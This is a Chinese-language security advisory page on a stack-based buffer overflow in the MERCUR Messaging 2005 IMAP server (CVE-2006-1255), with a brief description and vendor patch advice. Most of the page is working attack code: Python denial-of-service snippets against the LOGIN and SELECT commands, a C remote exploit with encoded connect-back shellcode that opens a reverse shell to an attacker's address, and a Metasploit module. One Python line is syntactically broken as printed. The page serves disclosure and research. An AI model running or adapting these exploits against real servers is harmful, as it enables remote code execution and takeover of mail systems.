首页 -> 安全研究

安全研究

安全漏洞
Mercur Messaging IMAP服务缓冲区溢出漏洞

发布日期:2006-03-17
更新日期:2006-05-16

受影响系统:
Atrium Software MERCUR Messaging 2005 5.0 SP3
描述:
BUGTRAQ  ID: 17138
CVE(CAN) ID: CVE-2006-1255

Mercur Messaging 2005是Windows NT4、2000和XP平台上的邮件服务器软件,支持POP3、IMAP4和SMTP的所有当前RFC标准。

Mercur Messaging 2005在处理IMAP命令时存在边界条件错误,远程攻击者可以向LOGIN和SELECT命令发送超长参数,触发栈溢出,导致拒绝服务。

<*来源:Tim Taylor (Tim.Taylor@gmx.ch
  
  链接:http://secunia.com/advisories/19267/print/
        http://marc.theaimsgroup.com/?l=full-disclosure&m=114255214324135&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

# Atrium Mercur IMAP 5.0 SP3 DoS Exploit
# pre authentifcation buffer overflow in imap command login
import socket
s=socket.socket()
s.connect(("127.0.0.1", 143))
print s.recv(256)
s.send("a001 login "\x41" * 275 + "\r\n")

# buffer overflow in imap commands like select and others
import socket
s=socket.socket()
s.connect(("127.0.0.1", 143))
print s.recv(256)
s.send("a001 login test test\r\n")
print s.recv(256)
s.send("a002 select " + "\x41" * 239 + "\r\n")

/*
* mercur.cpp
*
* Atrium Mercur IMAP 5.0 SP3 Messaging Multiple IMAP Commands Remote Exploit
* Copyright (C) 2006 Javaphile Group
* http://www.javaphile.org
*
* Exploits code by : pll Ellison.Tang[at]gmail[dot]com
*
* Bug Reference:
* http://www.frsirt.com/bulletins/4332
*
*/

#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32")

SOCKET ConnectTo(char *ip, int port)
{
    WSADATA    wsaData;
    SOCKET    s;
    struct    hostent        *he;
    struct    sockaddr_in    host;
    int        nTimeout=150000;

    if(WSAStartup(MAKEWORD(1,1),&wsaData)!=0)
    {
        printf("[-]WSAStartup failed.\n");
        exit(-1);
    }

    if((he=gethostbyname(ip))==0)
    {
        printf("[-]Failed to resolve '%s'.", ip);
        exit(-1);
    }

    host.sin_port=htons(port);
    host.sin_family=AF_INET;
    host.sin_addr=*((struct in_addr *)he->h_addr);

    if ((s=socket(AF_INET,SOCK_STREAM,0))<0)
    {
        printf("[-]Failed creating socket.");
        exit(-1);
    }

    if ((connect(s,(struct sockaddr *)&host,sizeof(host)))==-1)
    {
        closesocket(s);
        printf("[-]Failed connecting to host.\n");
        exit(-1);
    }
    setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char*)&nTimeout,sizeof(nTimeout));
    return s;
}


void Disconnect(SOCKET s)
{
    closesocket(s);
    WSACleanup();
}

void PrintSc(unsigned char *sc, int len)
{
    int    i,j;
    char *p;
    char msg[6];

    //printf("/* %d bytes */\n", buffsize);

    // Print general shellcode
    for(i = 0; i < len; i++)
    {
        if((i%16)==0)
        {
            if(i!=0)
                printf("\"\n\"");
            else
                printf("\"");
        }

        //printf("\\x%.2X", sc[i]);

        sprintf(msg, "\\x%.2X", sc[i] & 0xff);

        for( p = msg, j=0; j < 4; p++, j++ )
        {
            if(isupper(*p))
                printf("%c", _tolower(*p));
            else
                printf("%c", p[0]);
        }
    }

    printf("\";\n");
}

void main(int argc,char* argv[])
{

    struct OSTYPE
    {
        unsigned int ret;
        char des[255];
    };

    OSTYPE os[] = {
        {0x7FFA4512, "CN Windows ALL 0x7FFA4512"},
        {0x7801f4fb, "Windows 2k SP4 0x7801f4fb"},
        {0xDDDDDDDD, "Debug"},
        {0, NULL}
    };

    unsigned char shellcode[]=
    /* ip offset: 71 + 21 = 92 */
    /* port offset: 78 + 21 = 99 */
    /* 21 bytes decode */
    "\xeb\x0e\x5b\x4b\x33\xc9\xb1\xfe\x80\x34\x0b\xee\xe2\xfa\xeb\x05"
    "\xe8\xed\xff\xff\xff"
    /* 254 bytes shellcode, xor with 0xee */
    "\x07\x36\xee\xee\xee\xb1\x8a\x4f\xde\xee\xee\xee\x65\xae\xe2\x65"
    "\x9e\xf2\x43\x65\x86\xe6\x65\x19\x84\xea\xb7\x06\x96\xee\xee\xee"
    "\x0c\x17\x86\xdd\xdc\xee\xee\x86\x99\x9d\xdc\xb1\xba\x11\xf8\x7b"
    "\x84\xed\xb7\x06\x8e\xee\xee\xee\x0c\x17\xbf\xbf\xbf\xbf\x84\xef"
    "\x84\xec\x11\xb8\xfe\x7d\x86"
    "\x91\xee\xee\xef"                //ip
    "\x86"
    "\xec\xee"
    "\xee\xdb"                        //port
    "\x65\x02\x84\xfe\xbb\xbd\x11\xb8\xfa\x6b\x2e\x9b\xd6\x65\x12\x84"
    "\xfc\xb7\x45\x0c\x13\x88\x29\xaa\xca\xd2\xef\xef\x7d\x45\x45\x45"
    "\x65\x12\x86\x8d\x83\x8a\xee\x65\x02\xbe\x63\xa9\xfe\xb9\xbe\xbf"
    "\xbf\xbf\x84\xef\xbf\xbf\xbb\xbf\x11\xb8\xea\x84\x11\x11\xd9\x11"
    "\xb8\xe2\x11\xb8\xf6\x11\xb8\xe6\xbf\xb8\x65\x9b\xd2\x65\x9a\xc0"
    "\x96\xed\x1b\xb8\x65\x98\xce\xed\x1b\xdd\x27\xa7\xaf\x43\xed\x2b"
    "\xdd\x35\xe1\x50\xfe\xd4\x38\x9a\xe6\x2f\x25\xe3\xed\x34\xae\x05"
    "\x1f\xd5\xf1\x9b\x09\xb0\x65\xb0\xca\xed\x33\x88\x65\xe2\xa5\x65"
    "\xb0\xf2\xed\x33\x65\xea\x65\xed\x2b\x45\xb0\xb7\x2d\x06\xcd\x11"
    "\x11\x11\x60\xa0\xe0\x02\x9c\x10\x5d\xf8\x01\x20\x0e\x8e\x43\x37"
    "\xeb\x20\x37\xe7\x1b\x43\x02\x17\x44\x8e\x09\x97\x28\x97";

    unsigned char FindSc[]=
    "\x8B\xCC\x80\xE9\x3E\x8B\xF1\x33\xC0\x40\xC1\xE0\x0A\x04\x80\x8B"
    "\xF8\x57\x33\xC9\xB1\x3E\xF3\xA4\x5F\xFF\xE7\x8B\xC7\x04\x28\x50"
    "\x33\xC0\x50\x64\x89\x20\xBA\x41\x47\x4F\x55\x33\xFF\x3B\x17\x74"
    "\x03\x47\xEB\xF9\x83\xC7\x04\x3B\x17\x74\x03\x47\xEB\xEF\x83\xC7"
    "\x04\x57\xC3\x8B\x54\x24\x0C\x33\xC0\xB4\x10\x33\xDB\xB3\x9C\x01"
    "\x04\x13\x33\xC0\xC3"
    "\x90\x90\x90\x90"
    "\xEB\xA5";


    if(argc < 5)
    {
        printf("Mercur IMAPD 5.0 SP3 Remote Exploit\n");
        printf("-------------------------------------------\n");
        printf("Usage:\n");
        printf("   %s <Victim> <Connect back IP> <Connect back Port> <OsType>\n", argv[0]);
        printf("\nType could be:\n");

        int i=0;
        while(os[i].ret)
        {
            printf(" [%d]  %s\n", i, os[i].des);
            i++;
        }
        return;
    }

    SOCKET    s=ConnectTo(argv[1],143);

    printf("[+]Connected to target...");

    char szRecvBuff[600] = {0};

    if(recv(s,szRecvBuff,sizeof(szRecvBuff),0)<=0)
    {
        printf("failed!\n");
        return;
    }
    else
    {
        printf("done!\n");
    }

//    printf("%s\n",szRecvBuff);

    if(strstr(szRecvBuff, "MERCUR") == NULL)
    {
        printf("[-]Seems not IMAP running.\n");
        printf("Quiting...");
        return;
    }
    else
    {
        printf("[*]Seems IMAP running.\n");
    }

    unsigned long dwCbIp=inet_addr(argv[2]);

    unsigned short q=(unsigned short)atoi(argv[3]);
    unsigned short dwCbPort=(unsigned short)q;

    dwCbIp=dwCbIp^0xEEEEEEEE;
    dwCbPort=dwCbPort^0xEEEE;

    shellcode[92] =(char) (dwCbIp & 0x000000FF);
    shellcode[93] =(char) ((dwCbIp & 0x0000FF00)>>8);
    shellcode[94] =(char) ((dwCbIp & 0x00FF0000)>>16);
    shellcode[95] =(char) ((dwCbIp & 0xFF000000)>>24);

    shellcode[99] =(char) ((dwCbPort & 0x0000FF00)>>8);
    shellcode[100] =(char) (dwCbPort & 0x000000FF);

    char    szUserName[20]={0};
    printf("[?]Username:");
    gets(szUserName);

    char    szPassWord[20]={0};
    printf("[?]Passwd:");
    gets(szPassWord);

    char    szLogin[]=" login ";
    char    szLoginInfo[50]={0};
    unsigned char    szSpace=0x20;
    char szEnd[]="\r\n";

    memcpy(szLoginInfo,szUserName,lstrlen(szUserName));
    int        dwLen=lstrlen(szUserName);
    memcpy(szLoginInfo+dwLen,szLogin,lstrlen(szLogin));
    dwLen+=lstrlen(szLogin);
    memcpy(szLoginInfo+dwLen,szPassWord,lstrlen(szPassWord));
    dwLen+=lstrlen(szPassWord);
    memcpy(szLoginInfo+dwLen,&szSpace,1);
    dwLen++;
    memcpy(szLoginInfo+dwLen,szPassWord,lstrlen(szPassWord));
    dwLen+=lstrlen(szPassWord);
    memcpy(szLoginInfo+dwLen,szEnd,lstrlen(szEnd));

//    printf("%s\n",szLoginInfo);

    printf("[+]Sending Login Info...");

    send(s,szLoginInfo,lstrlen(szLoginInfo),0);

    if(recv(s,szRecvBuff,sizeof(szRecvBuff),0)<=0)
    {
        printf("failed!\n");
        return;
    }
    else
    {
        printf("done!\n");
    }

//    printf("%s\n",szRecvBuff);

    if(strstr(szRecvBuff, "OK") == NULL)
    {
        printf("[-]Seems not a valid user or not support IMAP.\n");
        printf("Quiting...");
        return;
    }
    else
    {
        printf("[*]Seems a valid user.\n");
    }

    char    szSelect[]=" select ";
    char    szMagicData[1000]={0};

    memset(szMagicData,'A',sizeof(szMagicData)-1);
    memcpy(szMagicData,szUserName,lstrlen(szUserName));
    memcpy(szMagicData+lstrlen(szUserName),szSelect,sizeof szSelect-1);

    int p=atoi(argv[4]);
    *(unsigned int *)&FindSc[85] = os[p].ret;

    memcpy(szMagicData+251-sizeof FindSc+1,FindSc,sizeof FindSc-1);

    memcpy(szMagicData+251,szEnd,sizeof szEnd-1);

    char    szAdog[]="AGOU";
    memcpy(szMagicData+253,szAdog,sizeof szAdog-1);
    memcpy(szMagicData+257,szAdog,sizeof szAdog-1);
    memcpy(szMagicData+261,shellcode,sizeof shellcode-1);

    memcpy(szMagicData+sizeof szMagicData-sizeof szEnd,szEnd,sizeof szEnd-1);

    printf("[+]Sending Magic Data To server...Good Luck!\n");
    send(s,szMagicData,sizeof szMagicData-1,0);

    recv(s,szRecvBuff,sizeof(szRecvBuff),0);
    printf("%s\n",szRecvBuff);

    Disconnect(s);
    printf("[?]Sending finished...Good luck!\n");
}


##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::mercur_imap_select_overflow;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Tcp;
use Pex::Text;

my $advanced = { };

my $info = {
    'Name'    => 'Mercur v5.0 IMAP SP3 SELECT Buffer Overflow',
    'Version'  => '$Revision: 1.1 $',
    'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ],
    'Arch'    => [ 'x86' ],
    'OS'      => [ 'win32'],
    'Priv'    => 1,

    'UserOpts'  =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 143],
        'USER'  => [1, 'DATA', 'IMAP Username'],
        'PASS'  => [1, 'DATA', 'IMAP Password'],
      },

    'AutoOpts'  => { 'EXITFUNC'  => 'process' },
    'Payload' =>
      {
        'Space'     => 400,
        'BadChars'  => "\x00",
        'Prepend'   => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
        'Keys'      => ['+ws2ord'],
      },

    'Description'  => Pex::Text::Freeform(qq{
Mercur v5.0 IMAP server is prone to a remotely exploitable
stack-based buffer overflow vulnerability. This issue is due
to a failure of the application to properly bounds check
user-supplied data prior to copying it to a fixed size memory buffer.
Credit to Tim Taylor for discover the vulnerability.
}),

    'Refs'  =>
      [
        ['BID', '17138'],
      ],

    'Targets' =>
      [
        ['Windows 2000 Server SP4 English', 126, 0x13e50b42],
        ['Windows 2000 Pro SP1 English',    127, 0x1446e242],

      ],

    'Keys' => ['imap'],

    'DisclosureDate' => 'March 17 2006',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

    return($self);
}

sub Exploit {
    my $self = shift;

    my $targetHost  = $self->GetVar('RHOST');
    my $targetPort  = $self->GetVar('RPORT');
    my $targetIndex = $self->GetVar('TARGET');
    my $user        = $self->GetVar('USER');
    my $pass        = $self->GetVar('PASS');
    my $encodedPayload = $self->GetVar('EncodedPayload');
    my $shellcode   = $encodedPayload->Payload;
    my $target = $self->Targets->[$targetIndex];

    my $sock = Msf::Socket::Tcp->new(
        'PeerAddr' => $targetHost,
        'PeerPort' => $targetPort,
      );

    if($sock->IsError) {
        $self->PrintLine('Error creating socket: ' . $sock->GetError);
        return;
    }

    my $resp = $sock->Recv(-1);
    chomp($resp);
    $self->PrintLine('[*] Got Banner: ' . $resp);

    my $sploit = "a001 LOGIN $user $pass\r\n";
    $sock->Send($sploit);
    my $resp = $sock->Recv(-1);
    if($sock->IsError) {
        $self->PrintLine('Socket error: ' . $sock->GetError);
        return;
    }
    if($resp !~ /^a001 OK LOGIN/) {
        $self->PrintLine('Login error: ' . $resp);
        return;
    }
    $self->PrintLine('[*] Logged in, sending overflow...');

    my $tribute = "\x43\x49\x41\x4f\x20\x42\x41\x43\x43\x4f\x20";
    my $splat0  = Pex::Text::AlphaNumText(94);
    my $special = "\x0d\x0a\x41\x41\x41\x41\x41\x41\x41\x41";
    my $splat1  = Pex::Text::AlphaNumText(453);

    $sploit =
      "a001 select ". $tribute . $splat0 . Pex::Text::AlphaNumText($target->[1]). pack('V', $target->[2]) . $special . $shellcode . $splat1 . "\r\n";

    $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using heap address at 0x%.8x...", $target->[2]));

    $sock->Send($sploit);

    my $resp = $sock->Recv(-1);
    if(length($resp)) {
        $self->PrintLine('[*] Got response, bad: ' . $resp);
    }
    return;
}

1;

建议:
临时解决方法:

*使用防火墙过滤恶意的IMAP请求。

厂商补丁:

Atrium Software
---------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.atrium-software.com/index.php?content=mercur&lframe=navigation&rframe=navmercur&lang=en

浏览次数:4218
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障